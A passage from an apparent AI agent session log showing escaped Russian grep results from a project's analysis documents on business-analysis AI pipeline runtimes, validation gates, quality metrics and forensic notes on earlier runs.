\u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0430\u0443\u0434\u0438\u0442\u0430 | [\u0413-51](#\u0433-51); \u0446\u0435\u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 |\\n381:| Temporal (\u0412-5) | \u041a\u043b\u0430\u0441\u0442\u0435\u0440 \u0438 \u043c\u043e\u0434\u0435\u043b\u044c \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0433\u0440\u0430\u0444\u0430 \u0438\u0437 15 \u0443\u0437\u043b\u043e\u0432; \u043d\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0430 \u0434\u043b\u044f \u0411\u0410 | [RFC, \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375), [Temporal](https://docs.temporal.io/develop/python/message-passing) |\\n== lorem\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:250:| \u0413-29 | G-mach \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u044d\u0442\u043e\u0433\u043e \u0448\u0430\u0433\u0430 | `P10`: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u0438\u043d\u044f\u0442 \u043a\u0430\u043a \u0432\u044b\u0445\u043e\u0434 n1, n2 \u0438 n3. \u0413\u0435\u0439\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432\u0441\u0435\u0433\u043e \u043f\u0430\u043a\u0435\u0442\u0430 ([`run-task.py` L76](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L76)), \u0430 \u0441\u0445\u0435\u043c\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f entry, n0, n4, n5, n6, n8, n12 \u0438 n13 ([L220-L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L220-L233)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043a\u043e\u0434 \u0438 Source.** \u0423 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; runner \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u0443\u0437\u043b\u0430, \u0430 \u043d\u0435 \u043f\u0430\u043a\u0435\u0442 |\\n== GigaCode API\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:156:| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:269:| \u0413-43 | \u0421\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0439 runner \u043c\u043e\u0436\u0435\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u043f\u0440\u044f\u043c\u0443\u044e | \u0421\u0440\u0435\u0434\u0430 2 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API ([ADR-019](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md)); \u043a\u043b\u0438\u0435\u043d\u0442 OpenAI \u0434\u043b\u044f Python \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 `base_url` ([openai-python](https://github.com/openai/openai-python)). \u0412 \u0441\u0440\u0435\u0434\u0435 1 API Mango AI \u043d\u0435\u0442 ([issue #615](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615)). \u0421\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b\u0441\u044f | \u0427\u0430\u0441\u0442\u0438\u0447\u043d\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c** \u0434\u043e\u0441\u0442\u0443\u043f \u043a endpoint Mango AI \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0434\u043e \u0432\u044b\u0431\u043e\u0440\u0430 \u0441\u0440\u0435\u0434\u044b 4 |\\n== byte\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:31:\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u2014 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e (\u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:173:| \u0413-16 | \u0421\u0431\u043e\u0440\u043a\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 Release \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u044b: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Working \u0434\u0430\u0451\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 Release | \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438 Golden \u0434\u0430\u044e\u0442 \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 `release.json` (\u043f\u0440\u043e\u0431\u0430 `P5`). \u0412\u044b\u0432\u043e\u0434 \u2014 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON \u0441 \u0441\u043e\u0440\u0442\u0438\u0440\u043e\u0432\u043a\u043e\u0439 \u043a\u043b\u044e\u0447\u0435\u0439 ([`canonical`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/bcreq_pipeline.py#L20-L29)); `validate-release` \u043f\u0435\u0440\u0435\u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u0435\u0442 | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041f\u0440\u0438\u043d\u044f\u0442\u044c** \u043a\u0430\u043a \u043e\u043f\u043e\u0440\u0443: \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f 6, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0442 Working \u0434\u043e Release |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:207:| Working \u2192 Release | Runner | \u0414\u0430 | \u0412\u0441\u0451, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 ([\u0413-16](#\u0433-16)) |\\n== forensics\\n60:| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\\n73:   RUN-0026, RUN-0063 \u0438 \u043e\u0431\u0430 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0445 \u0434\u0438\u0430\u043b\u043e\u0433\u0430 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435\\n80:   \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e RUN-0063\u2192RUN-0067: \u043f\u044f\u0442\u044c \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0439 \u0442\u0435\u043a\u0443\u0449\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n101:| `SCOPE-01` as-is/delta | \u0412 RUN-0063 \u043f\u044f\u0442\u044c \u0438\u0437 \u0448\u0435\u0441\u0442\u0438 FR \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u0438 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0435 \u0444\u0438\u043b\u044c\u0442\u0440\u044b, \u043a\u043e\u043b\u043e\u043d\u043a\u0438 \u0438\u043b\u0438 \u044d\u043a\u0441\u043f\u043e\u0440\u0442; RUN-0067 \u0443\u0434\u0430\u043b\u0438\u043b \u0438\u0445. | \u041d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0435. | \u0414\u043e FR \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f \u043c\u0430\u0442\u0440\u0438\u0446\u0430 `evidence \u2192 as_is \u2192 requested_delta \u2192 disposition`; \u0432 FR \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u0430\u044f delta. |\\n107:| `NFR-01` invented metric | RUN-0015 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b 5 \u043c\u0438\u043d\u0443\u0442, 100 ms, 2 \u0441\u0435\u043a\u0443\u043d\u0434\u044b \u0438 24/7; \u0432\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u0431\u044b\u043b\u0438 \u043e\u0442\u043a\u043b\u043e\u043d\u0435\u043d\u044b \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c. | \u041d\u0435\u043b\u044c\u0437\u044f \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0447\u0438\u0441\u043b\u043e\u0432\u043e\u0439 target \u0438\u0437 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0438, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0441\u043b\u043e\u0432\u0430 \u00ab\u0431\u044b\u0441\u0442\u0440\u043e\u00bb. | NFR \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0441 quality attribute, \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u043c, condition, measure, target \u0438 provenance; \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2014 TBD/open question. |\\n127:| RUN-0063\u2192RUN-0067 | \u041f\u044f\u0442\u044c as-is \u043f\u0441\u0435\u0432\u0434\u043e-FR \u0443\u0434\u0430\u043b\u0435\u043d\u044b; \u0434\u0435\u043b\u044c\u0442\u0430 \u0441\u0432\u0435\u0434\u0435\u043d\u0430 \u043a \u0434\u0432\u0443\u043c FR, 14 AC \u0438 \u0434\u0435\u0432\u044f\u0442\u0438 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c. | \u041c\u0430\u043b\u043e\u0435 \u0447\u0438\u0441\u043b\u043e capability FR + \u043f\u043e\u043b\u043d\u043e\u0435 \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u044f\u043c\u0438 \u043b\u0443\u0447\u0448\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0442\u0435\u043a\u0443\u0449\u0438\u0445 UI-\u0444\u0430\u043a\u0442\u043e\u0432. |\\n325:- RUN-0063 invalid \u2192 RUN-0067 corrected;\\n327:- RUN-0015 invented numeric NFR \u2192 TBD/open question;\\n363:- `[BCREQ-1074 / RUN-0063]` communication expenses report\\n364:- `[BCREQ-1074 / RUN-0064]` error analysis and report-view specification\\n367:- `[BCREQ-1074 / RUN-0067]` detailed export rework\\n== golden\\n75:   \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b; API \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442,\\ncandidates\\ncases.yaml\\ngs-cc-01-queue-overflow.md\\ngs-cc-02-report-export.md\\ngs-cc-neg-01-inbound-vs-outbound.md\\ngs-cc-neg-02-queue-vs-group.md\\ngs-cc-neg-03-sla-vs-aht.md\\ngs-cc-neg-04-ivr-vs-announcer.md\\n== MCP\\n== M metrics\\n38:        PC[\\\"\u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441\u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d (MM-4)\\\"]\\n163:| `M-1` \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u0430\u044f \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0447\u0435\u0439 \u0441\u043a\u0435\u043b\u0435\u0442 \u0441\u043e\u0432\u043f\u0430\u043b \u0441 \u044d\u0442\u0430\u043b\u043e\u043d\u043d\u044b\u043c | \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0435 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0441\u043b\u043e\u0442\u043e\u0432 | \u0440\u0430\u0441\u0442\u0451\u0442; \u0431\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f 0 (17 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u2014 17 \u0441\u043a\u0435\u043b\u0435\u0442\u043e\u0432) |\\n164:| `M-2` \u0434\u043e\u043b\u044f \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0445 \u043e\u0442\u043a\u0430\u0437\u043e\u0432 | `G-mach` reject / \u0432\u0441\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u044b | \u0441\u0447\u0451\u0442\u0447\u0438\u043a \u0433\u0435\u0439\u0442\u0430 | \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u0430\u044f: \u043d\u0443\u043b\u0435\u0432\u0430\u044f \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u0433\u0435\u0439\u0442 \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 |\\n165:| `M-3` \u0434\u043e\u043b\u044f \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u0430\u0432\u043e\u043a \u043f\u043e\u0441\u043b\u0435 `G-mach` | \u043f\u0440\u0430\u0432\u043a\u0438 \u043d\u0430 `G-human` / \u043f\u0440\u0438\u043d\u044f\u0442\u044b\u0435 `G-mach` | diff \u0432\u044b\u0445\u043e\u0434\u0430 | \u043f\u0430\u0434\u0430\u0435\u0442; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u043b\u043e\u0432\u0438\u0442 \u043c\u0430\u0448\u0438\u043d\u0430, \u0430 \u0447\u0442\u043e \u043d\u0435\u0442 |\\n166:| `M-4` \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430 | \u0434\u043e\u043b\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441 \u0447\u0435\u0442\u044b\u0440\u044c\u043c\u044f \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044f\u043c\u0438 | \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 `EP-R4` | 100% \u043a\u0430\u043a \u0443\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0440\u0438\u0451\u043c\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 |\\n167:| `M-5` \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 | \u043f\u0443\u0441\u0442\u044b\u0435 \u0441\u043b\u043e\u0442\u044b \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 / \u0432\u0441\u0435 \u043f\u0443\u0441\u0442\u044b\u0435 | \u0440\u0430\u0437\u0431\u043e\u0440 \u0448\u0430\u0431\u043b\u043e\u043d\u0430 | \u0440\u0430\u0441\u0442\u0451\u0442; \u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442 \u00ab\u043d\u0435\u0442\u00bb \u043e\u0442 \u00ab\u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u043b\u0438\u00bb |\\n174:\u041f\u0435\u0440\u0435\u0441\u0435\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u0442: `M-1`\u2026`M-5` \u0438\u0437\u043c\u0435\u0440\u044f\u044e\u0442 \u043f\u0440\u043e\u0433\u043e\u043d \u043f\u0430\u043a\u0435\u0442\u0430, `MP-*` \u0438 `MO-*` \u2014 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u043e\\n177:**\u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0437\u0430\u043c\u0435\u0440\u0430.** \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f \u043f\u043e `M-1`\u2026`M-3` \u0441\u043d\u0438\u043c\u0430\u0435\u0442\u0441\u044f **\u0434\u043e**\\n181:**\u041f\u043e\u0440\u043e\u0433 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.** \u0421\u0440\u0435\u0437 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c, \u0435\u0441\u043b\u0438 `M-4` = 100% \u0438 `M-1` \u0437\u0430\u043c\u0435\u0442\u043d\u043e\\n182:\u0432\u044b\u0448\u0435 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043b\u0438\u043d\u0438\u0438 \u043f\u0440\u0438 \u043d\u0435\u043d\u0443\u043b\u0435\u0432\u043e\u043c `M-2`. \u041a\u043e\u043c\u0431\u0438\u043d\u0430\u0446\u0438\u044f \u00ab`M-1` \u0432\u044b\u0441\u043e\u043a\u0438\u0439, `M-2` = 0\u00bb\\n189:| \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e \u0432\u0445\u043e\u0434\u0443 | \u043f\u0440\u043e\u0433\u043e\u043d \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0430 `C-IN`, \u0432\u043e\u043f\u0440\u043e\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0443 | `MM-4`: \u043a\u043b\u0430\u0441\u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d, \u0430 \u043d\u0435 \u0432\u044b\u0432\u0435\u0434\u0435\u043d \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438; \u0437\u0430\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u0430\u043b, \u0447\u0442\u043e \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u043d\u0435\u0440\u0430\u0437\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0435 (66 \u0438\u0437 67 \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u0439 \u043c\u0443\u043b\u044c\u0442\u0438\u0434\u043e\u043c\u0435\u043d\u043d\u044b\u0435) |\\n194:| \u0418\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u0430\u0445 | \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u043e\u0434\u0438\u043d \u043d\u0430\u0432\u044b\u043a; \u0444\u043e\u0440\u043c\u0430\u0442 \u0432\u044b\u0447\u0438\u0441\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u043b\u0435 `interaction` \u043f\u043e \u043d\u0430\u043b\u0438\u0447\u0438\u044e \u0442\u043e\u0447\u043a\u0438 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0430\u043a\u0442\u043e\u0440\u0443, \u0430 \u043d\u0435 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f | `DP-1`\u2026`DP-5`, `FM-1`, ADR-013, ADR-016 |\\n215:- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n216:  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\",\n[2026-09-29T07:54:55.725Z] [INFO]         \"is_error\": false\n[2026-09-29T07:54:55.725Z] [INFO]       }\n[2026-09-29T07:54:55.725Z] [INFO]     ]\n[2026-09-29T07:54:55.725Z] [INFO]   },\n[2026-09-29T07:54:55.725Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:54:55.725Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:54:55.725Z] [INFO]   \"uuid\": \"54811262-5ddd-4e19-923f-19c17fce390c\",\n[2026-09-29T07:54:55.725Z] [INFO]   \"timestamp\": \"2026-09-29T07:54:55.712Z\",\n[2026-09-29T07:54:55.725Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:54:55.725Z] [INFO]     \"stdout\": \"== CVE/LangGraph/15 nodes/digest\\n59:   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n140:| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n222:| \u0412-4 | \u0412-3 \u0441 \u0434\u0432\u0438\u0436\u043a\u043e\u043c LangGraph (\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430, MIT) | \u25d0 | \u25cf | \u25cf | \u25cf | \u25d0 | \u25cf | \u25d0 | \u25d0 | \u0420\u0430\u0437\u0432\u0438\u0442\u0438\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 2 |\\n256:| \u0413-35 | \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 append-only \u0438 \u0437\u0430\u0449\u0438\u0449\u0451\u043d \u043e\u0442 \u043f\u043e\u0434\u043c\u0435\u043d\u044b (`EP-R9`) | Runner \u0434\u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0431\u044b\u0442\u0438\u0435 \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432 \u0438 `recorded_by: runner` ([L132-L139](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L132-L139)) \u0438 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u0440\u0438 \u043a\u0430\u0436\u0434\u043e\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 ([L94-L122](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/tools/run-task.py#L94-L122)) | \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | 